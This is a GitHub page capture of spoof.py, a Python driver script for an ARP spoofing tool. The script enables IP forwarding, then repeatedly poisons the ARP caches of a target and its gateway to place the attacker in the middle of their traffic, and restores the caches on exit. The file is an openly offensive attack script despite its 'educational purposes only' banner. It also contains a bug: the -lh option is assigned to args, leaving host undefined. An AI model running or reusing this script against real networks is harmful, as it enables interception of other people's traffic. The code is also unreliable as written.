forked from Auax/arp-spoofer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
spoof.py
91 lines (66 loc) · 2.08 KB
/
spoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import argparse
import sys
import time
import os
from colorama import init, Fore
from arp_spoofer import ArpSpoofer
from logger import Logger
# Colorama autoreset color in new line
init(autoreset=True)
# Logger instance
logger = Logger()
def splash():
os.system("cls" if os.name == "nt" else "clear")
try:
with open("splash.txt", "r") as file:
print(file.read())
print(Fore.RED + "Educational purposes only \nCreated by Auax - 2006\n\n")
except FileNotFoundError:
pass
def main():
splash()
# Arguments
try:
parser = argparse.ArgumentParser(description="ARP Spoofing Application")
parser.add_argument("-t",
metavar="target",
type=str,
nargs="+",
help="host's IP address")
parser.add_argument("-lh",
metavar="host",
type=str,
nargs="?",
help="host's IP address")
args = parser.parse_args() # Parse args
except ValueError:
logger.error("Please define a target using `-t`.")
sys.exit(-1)
target = args.t
if args.lh:
# Gateway IP address
args = args.lh
else:
host = "192.168.1.1"
logger.warn(f"No host IP specified. Using: {host}")
verbose = True
# Initialize class instance
AS = ArpSpoofer()
# Enable IP-Forwading
AS.enable_ip_route()
try:
while True:
# Telling the `target` that we are `host`
AS.spoof(target, host, verbose=verbose)
# Telling the `host` that we are `target`
AS.spoof(host, target, verbose=verbose)
time.sleep(1)
except KeyboardInterrupt:
logger.info("Detected CTRL+C ! restoring the network, please wait...")
AS.restore(target, host)
AS.restore(host, target)
if __name__ == "__main__":
try:
main()
except PermissionError:
logger.error("Please run as sudo user!")